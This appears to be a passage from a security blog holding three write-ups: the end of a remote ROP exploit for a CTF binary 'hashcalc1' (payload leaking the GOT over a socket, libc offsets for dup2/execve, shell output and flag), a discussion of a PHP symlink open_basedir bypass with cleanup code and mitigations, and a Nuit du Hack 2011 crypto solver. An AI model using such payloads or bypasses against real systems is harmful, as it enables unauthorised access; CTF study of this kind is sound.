payload += pack("<I", plt_send_addr) + pack("<I", 0x8048c1a) + pack("<I", sock_fd) + pack("<I", got_plt_section) + pack("<I", got_plt_section_size) + pack("<I", 0) + "JUNK"
# recv GOT table from me
payload += pack("<I", plt_recv_addr) + pack("<I", 0x8048c1a) + pack("<I", sock_fd) + pack("<I", got_plt_section) + pack("<I", got_plt_section_size) + pack("<I", 0) + "JUNK"

Then, do dup2() and execve() with similar method. I do not show here.

Another important part is finding function offset in libc. I used Ubuntu but when looking in the binary with objdump

$ objdump -s -j .comment hashcalc1

hashcalc1:     file format elf32-i386

Contents of section .comment:
 0000 4743433a 20284465 6269616e 20342e34  GCC: (Debian 4.4
 0010 2e352d38 2920342e 342e3500 4743433a  .5-8) 4.4.5.GCC:
 0020 20284465 6269616e 20342e34 2e352d31   (Debian 4.4.5-1
 0030 30292034 2e342e35 00                 0) 4.4.5.

The binary is compiled on Debian 6. So I tried to overwrite the functions that near dup2() and execve() and hope the offset are same. Even the offset is different, I still can do little brute forcing to get the offset (can send some data back if offset is correct). But it's no need for this challenge because the server that ran this binary is same as we could login to do local pwnable challenges.

$ objdump -T libc.so.6 | grep -w -e setreuid -e dup2
000c4b50  w   DF .text  00000076  GLIBC_2.0   setreuid
000bd760  w   DF .text  0000003d  GLIBC_2.0   dup2
$ objdump -T libc.so.6 | grep -w -e fork -e execve
00097550  w   DF .text  000002b0  GLIBC_2.0   fork
00097870  w   DF .text  00000053  GLIBC_2.0   execve

Here is my exploit hashcalc1.py

$ python hashcalc1.py
** Welcome to the online hash calculator **
$
payload len: 164
got GOT table: 156
uid=1009(hashcalc1) gid=1010(hashcalc1) groups=1010(hashcalc1),0(root)

th3_0tH3r_DJB

Key: th3_0tH3r_DJB

PHP symlink() and open_basedir

I was asked by someone about the exploit from http://securityreason.com/achievement_exploitalert/14. Why they could not delete the created symbolic links?

The exploit explanation is in http://securityreason.com/achievement_securityalert/70 (if you have a problem to access it, here is the backup http://seclists.org/fulldisclosure/2009/Nov/165).

This exploit just creates a symbolic link to a file outside the open_basedir with a neat trick, then using web server to access it (not invoking PHP interpreter). In my opinion, this is not PHP vulnerability. This is a feature (you still can do it with latest PHP). If we try to access the symbolic link with PHP functions (such as readfile(), file_get_contents()), we will get the error message related to open_basedir. Also we cannot delete/modify the symbolic links with unlink() PHP functions because of open_basedir restriction (answer the above question).

I think the easier way to abuse this feature is creating the symbolic link to root directory. No exploit from me. It's so easy to write :).

The workaround for this problem is adding symlink() using "disable_functions" feature to disable function or disabling following symbolic link in web server (FollowSymLinks in apache).

Update: I overlooked the method to delete the symbolic link. We just need to do the reverse by removing directory and recreating the tmplink. Here is the PHP code to delete the symbolic link that is created with kakao.php from the advisory.

<?php
rmdir("tmplink");
symlink("abc/abc/abc/abc","tmplink");
unlink("exploit");
unlink("tmplink");

Update:If you install Suhosin patch, you are safe from this problem by default. See http://www.hardened-php.net/suhosin/configuration.html#suhosin.executor.allow_symlink for more information.

Nuit du Hack CTF 2011 Crypto 300 Writeup

Challenge : http://repo.shell-storm.org/CTF/NDH2K11-prequals/CRYPTO/CRYPTO300/crypto300.zip

The challenge gives me the python code. The code is some kind of key exchange algorithm (I do not know). There are 3 important methods in Braid class.

class Braid:
    # ...
    def reverse(self):
        rev = [self.items.index(i) for i in range(self.size)]
        return Braid(rev)
       
    def combine(self, _braid):
        if len(_braid) != self.size:
            raise "Invalid size"
        return Braid([_braid[self.items[i]] for i in range(self.size)])

    def shuffle(self,offset=0,size=0):
        for j in range(randint(1024,4096)):
            if size==0: # client
                for i in range(offset,self.size): # range(11, 22)
                    idx1 = randint(offset,self.size-1) # randint(11, 21)
                    self.swap(i,idx1)
            else:  # server
                for i in range(offset,size): # range(0, 11)
                    idx1 = randint(0,size-1) # randint(0, 10)
                    self.swap(i,idx1)

The public key and private key are generated from BraidKey class

class BraidKey:
    def __init__(self, K, client):
        self.K = K
        N = len(K)
        self.privkey = Braid(N)
        if client:
            self.privkey.shuffle(offset=N/2)
        else:
            self.privkey.shuffle(size=N/2)
        self.privrkey = self.privkey.reverse()
        self.pubkey = self.privkey.combine(self.K.combine(self.privrkey))

From code, the client privkey is initialized with [0..21], then shuffled only last 11 elements and first 11 elements are fixed. So the client privkey always be [0..10, random shuffled]. The client privrkey is derived from privkey with so strange reverse function. With the client privkey generation, the client privkey always be [0..10, derived from privkey].

When looking in "server.py", I found

raw_K = '0D1214040108060F050C0E0207030A151009000B1311'
self.s = ServerSocket(peer,allowed_pubkeys=['0F0C11040108060B05150E1000090A030D1312140207'])

So the server accepts only public key '0F0C11040108060B05150E1000090A030D1312140207'. From pubkey generation algorithm (the last line in BraidKey::__init__), We know pubkey, half of privkey, K, and half of privrkey. Also the combine() function is reversible. So I think it's possible to find the privkey from pubkey.

It's difficult to explain. Just see the code findpriv.py (I know you guys will understand :P).

K = str2ary(hex2str("0D1214040108060F050C0E0207030A151009000B1311"))
pubkey = str2ary(hex2str("0F0C11040108060B05150E1000090A030D1312140207"))

priv =  [ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 ]
privr = [ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 ]
inter = [ -1 ]*22  # inter is self.K.combine(self.privrkey)
for i in range(11):
    inter[i] = pubkey[i]

# pubkey = priv.combine(K.combine(privr))
# for i in [0,11)  =>  priv[i] = i; pubkey[i] = inter[priv[i]] = inter[i] = privr[K[i]]
for i in range(11):
    privr[K[i]] = pubkey[i]

# inter = K.combine(privr); inter[i] = privr[K[i]]
for i in range(11, 22):
    inter[i] = privr[K[i]]

# pubkey = priv.combine(K); pubkey[i] = K[priv[i]]
for i in range(11, 22):
    if pubkey[i] in inter:
        priv[i] = inter.index(pubkey[i])
    
# privr = priv.reverse()
for i in range(11, 22):
    if i in priv:
        privr[i] = priv.index(i)
for i in range(11, 22):
    if privr[1] != -1:
        priv[privr[i]] = i

# inter = K.combine(privr); inter[i] = privr[K[i]]
for i in range(11, 22):
    inter[i] = privr[K[i]]

# pubkey = priv.combine(K); pubkey[i] = K[priv[i]]
for i in range(11, 22):
    if pubkey[i] in inter:
        priv[i] = inter.index(pubkey[i])

if priv.count(-1) == 1:
    pos = priv.index(-1)
    for i in range(22):
        if i not in priv:
            priv[pos] = i
            break

print priv

$ python findpriv.py
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 15, 18, 17, 14, 13, 21, 20, 16, 19, 11, 12]

Then I changed the self.privkey.shuffle(offset=N/2) line in BraidKey class to self.privkey = [above privkey].

$ python client.py
[Crypto300 sample client]
[i] Welcome on Goofyleaks. Can I haz ur public kay ?
[+] Your leaked flag: Br4iDCrypto_i5_b3au7ifu11

Answer: Br4iDCrypto_i5_b3au7ifu11